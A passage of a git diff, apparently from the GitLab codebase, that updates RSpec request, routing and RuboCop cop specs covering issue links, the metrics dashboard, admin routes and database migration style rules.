user.save!
end
@@ -25,7 +25,7 @@ RSpec.describe 'view user notifications' do
end
describe 'GET /profile/notifications' do
- it 'avoid N+1 due to an additional groups (with no parent group)' do
+ it 'does not have an N+1 due to an additional groups (with no parent group)' do
get_profile_notifications
control = ActiveRecord::QueryRecorder.new do
diff --git a/spec/requests/projects/cycle_analytics_events_spec.rb b/spec/requests/projects/cycle_analytics_events_spec.rb
index 8c3058d405c..4338bfa3759 100644
--- a/spec/requests/projects/cycle_analytics_events_spec.rb
+++ b/spec/requests/projects/cycle_analytics_events_spec.rb
@@ -73,15 +73,6 @@ RSpec.describe 'value stream analytics events' do
expect(json_response['events'].first['date']).not_to be_empty
end
- it 'lists the production events', :sidekiq_might_not_need_inline do
- get project_cycle_analytics_production_path(project, format: :json)
-
- first_issue_iid = project.issues.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
-
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['iid']).to eq(first_issue_iid)
- end
-
context 'specific branch' do
it 'lists the test events', :sidekiq_might_not_need_inline do
branch = project.merge_requests.first.source_branch
diff --git a/spec/requests/projects/issue_links_controller_spec.rb b/spec/requests/projects/issue_links_controller_spec.rb
new file mode 100644
index 00000000000..a21c676f000
--- /dev/null
+++ b/spec/requests/projects/issue_links_controller_spec.rb
@@ -0,0 +1,156 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::IssueLinksController do
+ let(:user) { create :user }
+ let(:project) { create(:project_empty_repo) }
+ let(:issue) { create :issue, project: project }
+
+ describe 'GET /*namespace_id/:project_id/issues/:issue_id/links' do
+ let(:issue_b) { create :issue, project: project }
+ let!(:issue_link) { create :issue_link, source: issue, target: issue_b }
+
+ before do
+ project.add_guest(user)
+ login_as user
+ end
+
+ it 'returns JSON response' do
+ list_service_response = IssueLinks::ListService.new(issue, user).execute
+
+ get namespace_project_issue_links_path(issue_links_params)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq(list_service_response.as_json)
+ end
+ end
+
+ describe 'POST /*namespace_id/:project_id/issues/:issue_id/links' do
+ let(:issue_b) { create :issue, project: project }
+
+ before do
+ project.add_role(user, user_role)
+ login_as user
+ end
+
+ context 'with success' do
+ let(:user_role) { :developer }
+ let(:issuable_references) { [issue_b.to_reference] }
+
+ it 'returns success JSON' do
+ post namespace_project_issue_links_path(issue_links_params(issuable_references: issuable_references))
+
+ list_service_response = IssueLinks::ListService.new(issue, user).execute
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq('message' => nil,
+ 'issuables' => list_service_response.as_json)
+ end
+ end
+
+ context 'with failure' do
+ context 'when unauthorized' do
+ let(:user_role) { :guest }
+ let(:issuable_references) { [issue_b.to_reference] }
+
+ it 'returns 403' do
+ post namespace_project_issue_links_path(issue_links_params(issuable_references: issuable_references))
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when failing service result' do
+ let(:user_role) { :developer }
+ let(:issuable_references) { ["##{non_existing_record_iid}"] }
+
+ it 'returns failure JSON' do
+ post namespace_project_issue_links_path(issue_links_params(issuable_references: issuable_references))
+
+ list_service_response = IssueLinks::ListService.new(issue, user).execute
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response).to eq('message' => 'No Issue found for given params', 'issuables' => list_service_response.as_json)
+ end
+ end
+ end
+ end
+
+ describe 'DELETE /*namespace_id/:project_id/issues/:issue_id/link/:id' do
+ let(:issue_link) { create :issue_link, source: issue, target: referenced_issue }
+
+ before do
+ project.add_role(user, user_role)
+ login_as user
+ end
+
+ context 'when unauthorized' do
+ context 'when no authorization on current project' do
+ let(:referenced_issue) { create :issue, project: project }
+ let(:user_role) { :guest }
+
+ it 'returns 403' do
+ delete namespace_project_issue_link_path(issue_links_params(id: issue_link.id))
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when no authorization on the related issue project' do
+ # unauthorized project issue
+ let(:referenced_issue) { create :issue }
+ let(:user_role) { :developer }
+
+ it 'returns 404' do
+ delete namespace_project_issue_link_path(issue_links_params(id: issue_link.id))
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when authorized' do
+ let(:referenced_issue) { create :issue, project: project }
+ let(:user_role) { :developer }
+
+ it 'returns success JSON' do
+ delete namespace_project_issue_link_path(issue_links_params(id: issue_link.id))
+
+ list_service_response = IssueLinks::ListService.new(issue, user).execute
+
+ expect(json_response).to eq('issuables' => list_service_response.as_json)
+ end
+ end
+
+ context 'when non of issues of the link is not the issue requested in the path' do
+ let(:referenced_issue) { create(:issue, project: project) }
+ let(:another_issue) { create(:issue, project: project) }
+ let(:issue) { create(:issue, project: project) }
+ let(:user_role) { :developer }
+
+ let!(:issue_link) { create :issue_link, source: another_issue, target: referenced_issue }
+
+ subject do
+ delete namespace_project_issue_link_path(issue_links_params(id: issue_link.id))
+ end
+
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'does not delete the link' do
+ expect { subject }.not_to change { IssueLink.count }.from(1)
+ end
+ end
+ end
+
+ def issue_links_params(opts = {})
+ opts.reverse_merge(namespace_id: issue.project.namespace,
+ project_id: issue.project,
+ issue_id: issue,
+ format: :json)
+ end
+end
diff --git a/spec/requests/projects/metrics_dashboard_spec.rb b/spec/requests/projects/metrics_dashboard_spec.rb
index f571e4a4309..f0e0e6a02ee 100644
--- a/spec/requests/projects/metrics_dashboard_spec.rb
+++ b/spec/requests/projects/metrics_dashboard_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'metrics dashboard page' do
+RSpec.describe 'Projects::MetricsDashboardController' do
let_it_be(:project) { create(:project) }
let_it_be(:environment) { create(:environment, project: project) }
let_it_be(:environment2) { create(:environment, project: project) }
@@ -14,28 +14,42 @@ RSpec.describe 'metrics dashboard page' do
end
describe 'GET /:namespace/:project/-/metrics' do
- it 'returns 200' do
+ it "redirects to default environment's metrics dashboard" do
send_request
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to redirect_to(dashboard_route(environment: environment))
end
- it 'assigns environment' do
+ it 'assigns default_environment' do
send_request
- expect(assigns(:environment).id).to eq(environment.id)
+ expect(assigns(:default_environment).id).to eq(environment.id)
+ end
+
+ it 'retains existing parameters when redirecting' do
+ params = {
+ dashboard_path: '.gitlab/dashboards/dashboard_path.yml',
+ page: 'panel/new',
+ group: 'System metrics (Kubernetes)',
+ title: 'Memory Usage (Pod average)',
+ y_label: 'Memory Used per Pod (MB)'
+ }
+ send_request(params)
+
+ expect(response).to redirect_to(dashboard_route(params.merge(environment: environment.id)))
end
context 'with anonymous user and public dashboard visibility' do
let(:anonymous_user) { create(:user) }
- let(:project) do
- create(:project, :public, metrics_dashboard_access_level: 'enabled')
- end
+ let(:project) { create(:project, :public) }
before do
+ project.update!(metrics_dashboard_access_level: 'enabled')
+
login_as(anonymous_user)
end
it 'returns 200' do
send_request
+
expect(response).to have_gitlab_http_status(:ok)
end
end
@@ -64,12 +78,12 @@ RSpec.describe 'metrics dashboard page' do
let(:dashboard_path) { '.gitlab/dashboards/dashboard_path.yml' }
it 'returns 200' do
- send_request(dashboard_path: dashboard_path)
+ send_request(dashboard_path: dashboard_path, environment: environment.id)
expect(response).to have_gitlab_http_status(:ok)
end
it 'assigns environment' do
- send_request(dashboard_path: dashboard_path)
+ send_request(dashboard_path: dashboard_path, environment: environment.id)
expect(assigns(:environment).id).to eq(environment.id)
end
end
@@ -97,15 +111,13 @@ RSpec.describe 'metrics dashboard page' do
describe 'GET :/namespace/:project/-/metrics/:page' do
it 'returns 200 with path param page' do
- # send_request(page: 'panel/new') cannot be used because it encodes '/'
- get "#{dashboard_route}/panel/new"
+ send_request(page: 'panel/new', environment: environment.id)
expect(response).to have_gitlab_http_status(:ok)
end
it 'returns 200 with dashboard and path param page' do
- # send_request(page: 'panel/new') cannot be used because it encodes '/'
- get "#{dashboard_route(dashboard_path: 'dashboard.yml')}/panel/new"
+ send_request(dashboard_path: 'dashboard.yml', page: 'panel/new', environment: environment.id)
expect(response).to have_gitlab_http_status(:ok)
end
diff --git a/spec/routing/admin_routing_spec.rb b/spec/routing/admin_routing_spec.rb
index 13e371ad68a..fedafff0d1b 100644
--- a/spec/routing/admin_routing_spec.rb
+++ b/spec/routing/admin_routing_spec.rb
@@ -134,6 +134,20 @@ RSpec.describe Admin::HealthCheckController, "routing" do
end
end
+# admin_dev_ops_report GET /admin/dev_ops_report(.:format) admin/dev_ops_report#show
+RSpec.describe Admin::DevOpsReportController, "routing" do
+ it "to #show" do
+ expect(get("/admin/dev_ops_report")).to route_to('admin/dev_ops_report#show')
+ end
+end
+
+# admin_cohorts GET /admin/cohorts(.:format) admin/cohorst#index
+RSpec.describe Admin::CohortsController, "routing" do
+ it "to #index" do
+ expect(get("/admin/cohorts")).to route_to('admin/cohorts#index')
+ end
+end
+
RSpec.describe Admin::GroupsController, "routing" do
let(:name) { 'complex.group-namegit' }
@@ -164,3 +178,9 @@ RSpec.describe Admin::SessionsController, "routing" do
expect(post("/admin/session/destroy")).to route_to('admin/sessions#destroy')
end
end
+
+RSpec.describe Admin::PlanLimitsController, "routing" do
+ it "to #create" do
+ expect(post("/admin/plan_limits")).to route_to('admin/plan_limits#create')
+ end
+end
diff --git a/spec/routing/instance_statistics_routing_spec.rb b/spec/routing/instance_statistics_routing_spec.rb
index 7793c5cce71..7eec807fb0b 100644
--- a/spec/routing/instance_statistics_routing_spec.rb
+++ b/spec/routing/instance_statistics_routing_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe 'Instance Statistics', 'routing' do
include RSpec::Rails::RequestExampleGroup
- it "routes '/-/instance_statistics' to dev ops score" do
- expect(get('/-/instance_statistics')).to redirect_to('/-/instance_statistics/dev_ops_score')
+ it "routes '/-/instance_statistics' to dev ops report" do
+ expect(get('/-/instance_statistics')).to redirect_to('/admin/dev_ops_report')
end
end
diff --git a/spec/routing/routing_spec.rb b/spec/routing/routing_spec.rb
index af4becd980b..722e687838f 100644
--- a/spec/routing/routing_spec.rb
+++ b/spec/routing/routing_spec.rb
@@ -32,13 +32,6 @@ RSpec.describe UsersController, "routing" do
expect(get("/users/User/snippets")).to route_to('users#snippets', username: 'User')
end
- # get all the ssh-keys of a user
- it "to #get_keys" do
- allow_any_instance_of(::Constraints::UserUrlConstrainer).to receive(:matches?).and_return(true)
-
- expect(get("/User.keys")).to route_to('users#ssh_keys', username: 'User')
- end
-
it "to #calendar" do
expect(get("/users/User/calendar")).to route_to('users#calendar', username: 'User')
end
@@ -193,6 +186,12 @@ RSpec.describe Profiles::KeysController, "routing" do
it "to #destroy" do
expect(delete("/profile/keys/1")).to route_to('profiles/keys#destroy', id: '1')
end
+
+ it "to #get_keys" do
+ allow_any_instance_of(::Constraints::UserUrlConstrainer).to receive(:matches?).and_return(true)
+
+ expect(get("/foo.keys")).to route_to('profiles/keys#get_keys', username: 'foo')
+ end
end
# emails GET /emails(.:format) emails#index
diff --git a/spec/rubocop/cop/active_record_association_reload_spec.rb b/spec/rubocop/cop/active_record_association_reload_spec.rb
index 79053a79c5a..e8d46064b49 100644
--- a/spec/rubocop/cop/active_record_association_reload_spec.rb
+++ b/spec/rubocop/cop/active_record_association_reload_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe RuboCop::Cop::ActiveRecordAssociationReload, type: :rubocop do
users = User.all
users.reload
^^^^^^ Use reset instead of reload. For more details check the https://gitlab.com/gitlab-org/gitlab-foss/issues/60218.
- PATTERN
+ PATTERN
end
it 'does not register an offense on reset usage' do
diff --git a/spec/rubocop/cop/gitlab/avoid_uploaded_file_from_params_spec.rb b/spec/rubocop/cop/gitlab/avoid_uploaded_file_from_params_spec.rb
new file mode 100644
index 00000000000..8341b0cab3a
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/avoid_uploaded_file_from_params_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/avoid_uploaded_file_from_params'
+
+RSpec.describe RuboCop::Cop::Gitlab::AvoidUploadedFileFromParams, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ context 'UploadedFile.from_params' do
+ it 'flags its call' do
+ expect_offense(<<~SOURCE)
+ UploadedFile.from_params(params)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use the `UploadedFile` set by `multipart.rb` instead of calling `UploadedFile.from_params` directly. See https://docs.gitlab.com/ee/development/uploads.html#how-to-add-a-new-upload-route
+ SOURCE
+ end
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/bulk_insert_spec.rb b/spec/rubocop/cop/gitlab/bulk_insert_spec.rb
index 2766e4f1982..d1236865897 100644
--- a/spec/rubocop/cop/gitlab/bulk_insert_spec.rb
+++ b/spec/rubocop/cop/gitlab/bulk_insert_spec.rb
@@ -13,7 +13,14 @@ RSpec.describe RuboCop::Cop::Gitlab::BulkInsert, type: :rubocop do
it 'flags the use of Gitlab::Database.bulk_insert' do
expect_offense(<<~SOURCE)
Gitlab::Database.bulk_insert('merge_request_diff_files', rows)
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use the `BulkInsertSafe` concern, instead of using `Gitlab::Database.bulk_insert`. See https://docs.gitlab.com/ee/development/insert_into_tables_in_batches.html
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{RuboCop::Cop::Gitlab::BulkInsert::MSG}
+ SOURCE
+ end
+
+ it 'flags the use of ::Gitlab::Database.bulk_insert' do
+ expect_offense(<<~SOURCE)
+ ::Gitlab::Database.bulk_insert('merge_request_diff_files', rows)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{RuboCop::Cop::Gitlab::BulkInsert::MSG}
SOURCE
end
end
diff --git a/spec/rubocop/cop/gitlab/except_spec.rb b/spec/rubocop/cop/gitlab/except_spec.rb
new file mode 100644
index 00000000000..50277d15a57
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/except_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/except'
+
+RSpec.describe RuboCop::Cop::Gitlab::Except, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ it 'flags the use of Gitlab::SQL::Except.new' do
+ expect_offense(<<~SOURCE)
+ Gitlab::SQL::Except.new([foo])
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use the `FromExcept` concern, instead of using `Gitlab::SQL::Except` directly
+ SOURCE
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/intersect_spec.rb b/spec/rubocop/cop/gitlab/intersect_spec.rb
new file mode 100644
index 00000000000..351033d0ed2
--- /dev/null
+++ b/spec/rubocop/cop/gitlab/intersect_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require 'rubocop/rspec/support'
+require_relative '../../../../rubocop/cop/gitlab/intersect'
+
+RSpec.describe RuboCop::Cop::Gitlab::Intersect, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ it 'flags the use of Gitlab::SQL::Intersect.new' do
+ expect_offense(<<~SOURCE)
+ Gitlab::SQL::Intersect.new([foo])
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Use the `FromIntersect` concern, instead of using `Gitlab::SQL::Intersect` directly
+ SOURCE
+ end
+end
diff --git a/spec/rubocop/cop/gitlab/rails_logger_spec.rb b/spec/rubocop/cop/gitlab/rails_logger_spec.rb
index 0583079136b..70d208b31ec 100644
--- a/spec/rubocop/cop/gitlab/rails_logger_spec.rb
+++ b/spec/rubocop/cop/gitlab/rails_logger_spec.rb
@@ -10,22 +10,12 @@ RSpec.describe RuboCop::Cop::Gitlab::RailsLogger, type: :rubocop do
subject(:cop) { described_class.new }
- it 'flags the use of Rails.logger.error with a constant receiver' do
- inspect_source("Rails.logger.error('some error')")
+ described_class::LOG_METHODS.each do |method|
+ it "flags the use of Rails.logger.#{method} with a constant receiver" do
+ inspect_source("Rails.logger.#{method}('some error')")
- expect(cop.offenses.size).to eq(1)
- end
-
- it 'flags the use of Rails.logger.info with a constant receiver' do
- inspect_source("Rails.logger.info('some info')")
-
- expect(cop.offenses.size).to eq(1)
- end
-
- it 'flags the use of Rails.logger.warn with a constant receiver' do
- inspect_source("Rails.logger.warn('some warning')")
-
- expect(cop.offenses.size).to eq(1)
+ expect(cop.offenses.size).to eq(1)
+ end
end
it 'does not flag the use of Rails.logger with a constant that is not Rails' do
@@ -39,4 +29,10 @@ RSpec.describe RuboCop::Cop::Gitlab::RailsLogger, type: :rubocop do
expect(cop.offenses.size).to eq(0)
end
+
+ it 'does not flag the use of Rails.logger.level' do
+ inspect_source("Rails.logger.level")
+
+ expect(cop.offenses.size).to eq(0)
+ end
end
diff --git a/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb b/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb
new file mode 100644
index 00000000000..b769109057e
--- /dev/null
+++ b/spec/rubocop/cop/migration/complex_indexes_require_name_spec.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+#
+require 'fast_spec_helper'
+require 'rubocop'
+require_relative '../../../../rubocop/cop/migration/complex_indexes_require_name'
+
+RSpec.describe RuboCop::Cop::Migration::ComplexIndexesRequireName, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ context 'in migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ end
+
+ context 'when creating complex indexes as part of create_table' do
+ context 'when indexes are configured with an options hash, but no name' do
+ it 'registers an offense' do
+ expect_offense(<<~RUBY)
+ class TestComplexIndexes < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ create_table :test_table do |t|
+ t.integer :column1, null: false
+ t.integer :column2, null: false
+ t.jsonb :column3
+
+ t.index :column1, unique: true
+ t.index :column2, where: 'column1 = 0'
+ ^^^^^ #{described_class::MSG}
+ t.index :column3, using: :gin
+ ^^^^^ #{described_class::MSG}
+ end
+ end
+
+ def down
+ drop_table :test_table
+ end
+ end
+ RUBY
+
+ expect(cop.offenses.map(&:cop_name)).to all(eq("Migration/#{described_class.name.demodulize}"))
+ end
+ end
+
+ context 'when indexes are configured with an options hash and name' do
+ it 'registers no offense' do
+ expect_no_offenses(<<~RUBY)
+ class TestComplexIndexes < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ create_table :test_table do |t|
+ t.integer :column1, null: false
+ t.integer :column2, null: false
+ t.jsonb :column3
+
+ t.index :column1, unique: true
+ t.index :column2, where: 'column1 = 0', name: 'my_index_1'
+ t.index :column3, using: :gin, name: 'my_gin_index'
+ end
+ end
+
+ def down
+ drop_table :test_table
+ end
+ end
+ RUBY
+ end
+ end
+ end
+
+ context 'when indexes are added to an existing table' do
+ context 'when indexes are configured with an options hash, but no name' do
+ it 'registers an offense' do
+ expect_offense(<<~RUBY)
+ class TestComplexIndexes < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_index :test_indexes, :column1
+
+ add_index :test_indexes, :column2, where: "column2 = 'value'", order: { column4: :desc }
+ ^^^^^^^^^ #{described_class::MSG}
+ end
+
+ def down
+ add_index :test_indexes, :column4, 'unique' => true, where: 'column4 IS NOT NULL'
+ ^^^^^^^^^ #{described_class::MSG}
+
+ add_concurrent_index :test_indexes, :column6, using: :gin, opclass: :gin_trgm_ops
+ ^^^^^^^^^^^^^^^^^^^^ #{described_class::MSG}
+ end
+ end
+ RUBY
+
+ expect(cop.offenses.map(&:cop_name)).to all(eq("Migration/#{described_class.name.demodulize}"))
+ end
+ end
+
+ context 'when indexes are configured with an options hash and a name' do
+ it 'registers no offenses' do
+ expect_no_offenses(<<~RUBY)
+ class TestComplexIndexes < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ INDEX_NAME = 'my_test_name'
+
+ disable_ddl_transaction!
+
+ def up
+ add_index :test_indexes, :column1
+
+ add_index :test_indexes, :column2, where: "column2 = 'value'", order: { column4: :desc }, name: 'my_index_1'
+
+ add_concurrent_index :test_indexes, :column3, where: 'column3 = 10', name: 'idx_equal_to_10'
+ end
+
+ def down
+ add_index :test_indexes, :column4, 'unique' => true, where: 'column4 IS NOT NULL', name: 'my_index_2'
+
+ add_concurrent_index :test_indexes, :column6, using: :gin, opclass: :gin_trgm_ops, name: INDEX_NAME
+ end
+ end
+ RUBY
+ end
+ end
+ end
+ end
+
+ context 'outside migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(false)
+ end
+
+ it 'registers no offenses' do
+ expect_no_offenses(<<~RUBY)
+ class TestComplexIndexes < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table :test_table do |t|
+ t.integer :column1
+
+ t.index :column1, where: 'column2 IS NOT NULL'
+ end
+
+ add_index :test_indexes, :column1, where: "some_column = 'value'"
+ end
+
+ def down
+ add_concurrent_index :test_indexes, :column2, unique: true
+ end
+ end
+ RUBY
+ end
+ end
+end
diff --git a/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb b/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb
new file mode 100644
index 00000000000..fa4acc62226
--- /dev/null
+++ b/spec/rubocop/cop/migration/create_table_with_foreign_keys_spec.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+require 'rubocop'
+require_relative '../../../../rubocop/cop/migration/create_table_with_foreign_keys'
+
+RSpec.describe RuboCop::Cop::Migration::CreateTableWithForeignKeys, type: :rubocop do
+ include CopHelper
+
+ let(:cop) { described_class.new }
+
+ context 'outside of a migration' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :bar, foreign_key: { on_delete: 'cascade' }
+ t.references :zoo, foreign_key: { on_delete: 'cascade' }
+ end
+ end
+ RUBY
+ end
+ end
+
+ context 'in a migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ end
+
+ context 'without foreign key' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :bar
+ end
+ end
+ RUBY
+ end
+ end
+
+ context 'with foreign key' do
+ context 'with just one foreign key' do
+ context 'when the foreign_key targets a high traffic table' do
+ context 'when the foreign_key has to_table option set' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :project, "foreign_key" => { on_delete: 'cascade', to_table: 'projects' }
+ end
+ end
+ RUBY
+ end
+ end
+
+ context 'when the foreign_key does not have to_table option set' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :project, foreign_key: { on_delete: 'cascade' }
+ end
+ end
+ RUBY
+ end
+ end
+ end
+
+ context 'when the foreign_key does not target a high traffic table' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :bar, foreign_key: { on_delete: 'cascade' }
+ end
+ end
+ RUBY
+ end
+ end
+ end
+
+ context 'with more than one foreign keys' do
+ let(:offense) do
+ 'Creating a table with more than one foreign key at once violates our migration style guide. ' \
+ 'For more details check the https://docs.gitlab.com/ce/development/migration_style_guide.html#examples'
+ end
+
+ shared_examples 'target to high traffic table' do |dsl_method, table_name|
+ context 'when the target is defined as option' do
+ it 'registers an offense ' do
+ expect_offense(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ ^^^^^^^^^^^^^^^^^^ #{offense}
+ t.#{dsl_method} :#{table_name.singularize} #{explicit_target_opts}
+ t.#{dsl_method} :zoo #{implicit_target_opts}
+ end
+ end
+ RUBY
+ end
+ end
+
+ context 'when the target has implicit definition' do
+ it 'registers an offense ' do
+ expect_offense(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ ^^^^^^^^^^^^^^^^^^ #{offense}
+ t.#{dsl_method} :#{table_name.singularize} #{implicit_target_opts}
+ t.#{dsl_method} :zoo #{implicit_target_opts}
+ end
+ end
+ RUBY
+ end
+ end
+ end
+
+ shared_context 'when there is a target to a high traffic table' do |dsl_method|
+ %w[
+ audit_events
+ ci_build_trace_sections
+ ci_builds
+ ci_builds_metadata
+ ci_job_artifacts
+ ci_pipeline_variables
+ ci_pipelines
+ ci_stages
+ deployments
+ events
+ gitlab_subscriptions
+ issues
+ merge_request_diff_commits
+ merge_request_diff_files
+ merge_request_diffs
+ merge_request_metrics
+ merge_requests
+ namespaces
+ note_diff_files
+ notes
+ project_authorizations
+ projects
+ project_ci_cd_settings
+ project_features
+ push_event_payloads
+ resource_label_events
+ routes
+ sent_notifications
+ system_note_metadata
+ taggings
+ todos
+ users
+ web_hook_logs
+ ].each do |table|
+ let(:table_name) { table }
+
+ it_behaves_like 'target to high traffic table', dsl_method, table
+ end
+ end
+
+ context 'when the foreign keys are defined as options' do
+ context 'when there is no target to a high traffic table' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.references :bar, foreign_key: { on_delete: 'cascade', to_table: :bars }
+ t.references :zoo, 'foreign_key' => { on_delete: 'cascade' }
+ t.references :john, 'foreign_key' => { on_delete: 'cascade' }
+ t.references :doe, 'foreign_key' => { on_delete: 'cascade', to_table: 'doe' }
+ end
+ end
+ RUBY
+ end
+ end
+
+ include_context 'when there is a target to a high traffic table', :references do
+ let(:explicit_target_opts) { ", foreign_key: { to_table: :#{table_name} }" }
+ let(:implicit_target_opts) { ", foreign_key: true" }
+ end
+ end
+
+ context 'when the foreign keys are defined by standlone migration helper' do
+ context 'when there is no target to a high traffic table' do
+ it 'does not register any offenses' do
+ expect_no_offenses(<<~RUBY)
+ def up
+ create_table(:foo) do |t|
+ t.foreign_key :bar
+ t.foreign_key :zoo, to_table: 'zoos'
+ end
+ end
+ RUBY
+ end
+ end
+
+ include_context 'when there is a target to a high traffic table', :foreign_key do
+ let(:explicit_target_opts) { ", to_table: :#{table_name}" }
+ let(:implicit_target_opts) { }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb b/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb
new file mode 100644
index 00000000000..76554d7446c
--- /dev/null
+++ b/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+#
+require 'fast_spec_helper'
+require 'rubocop'
+require_relative '../../../../rubocop/cop/migration/refer_to_index_by_name'
+
+RSpec.describe RuboCop::Cop::Migration::ReferToIndexByName, type: :rubocop do
+ include CopHelper
+
+ subject(:cop) { described_class.new }
+
+ context 'in migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(true)
+ end
+
+ context 'when existing indexes are referred to without an explicit name' do
+ it 'registers an offense' do
+ expect_offense(<<~RUBY)
+ class TestReferToIndexByName < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ INDEX_NAME = 'my_test_name'
+
+ disable_ddl_transaction!
+
+ def up
+ if index_exists? :test_indexes, :column1, name: 'index_name_1'
+ remove_index :test_indexes, column: :column1, name: 'index_name_1'
+ end
+
+ if index_exists? :test_indexes, :column2
+ ^^^^^^^^^^^^^ #{described_class::MSG}
+ remove_index :test_indexes, :column2
+ ^^^^^^^^^^^^ #{described_class::MSG}
+ end
+
+ remove_index :test_indexes, column: column3
+ ^^^^^^^^^^^^ #{described_class::MSG}
+
+ remove_index :test_indexes, name: 'index_name_4'
+ end
+
+ def down
+ if index_exists? :test_indexes, :column4, using: :gin, opclass: :gin_trgm_ops
+ ^^^^^^^^^^^^^ #{described_class::MSG}
+ remove_concurrent_index :test_indexes, :column4, using: :gin, opclass: :gin_trgm_ops
+ ^^^^^^^^^^^^^^^^^^^^^^^ #{described_class::MSG}
+ end
+
+ if index_exists? :test_indexes, :column3, unique: true, name: 'index_name_3', where: 'column3 = 10'
+ remove_concurrent_index :test_indexes, :column3, unique: true, name: 'index_name_3', where: 'column3 = 10'
+ end
+ end
+ end
+ RUBY
+
+ expect(cop.offenses.map(&:cop_name)).to all(eq("Migration/#{described_class.name.demodulize}"))
+ end
+ end
+ end
+
+ context 'outside migration' do
+ before do
+ allow(cop).to receive(:in_migration?).and_return(false)
+ end
+
+ it 'registers no offenses' do
+ expect_no_offenses(<<~RUBY)
+ class TestReferToIndexByName < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ if index_exists? :test_indexes, :column1
+ remove_index :test_indexes, :column1
+ end
+ end
+
+ def down
+ if index_exists? :test_indexes, :column1
+ remove_concurrent_index :test_indexes, :column1
+ end
+ end
+ end
+ RUBY
+ end
+ end
+end
diff --git a/spec/rubocop/cop/migration/safer_boolean_column_spec.rb b/spec/rubocop/cop/migration/safer_boolean_column_spec.rb
index 013f2edc5e9..72b817fde12 100644
--- a/spec/rubocop/cop/migration/safer_boolean_column_spec.rb
+++ b/spec/rubocop/cop/migration/safer_boolean_column_spec.rb
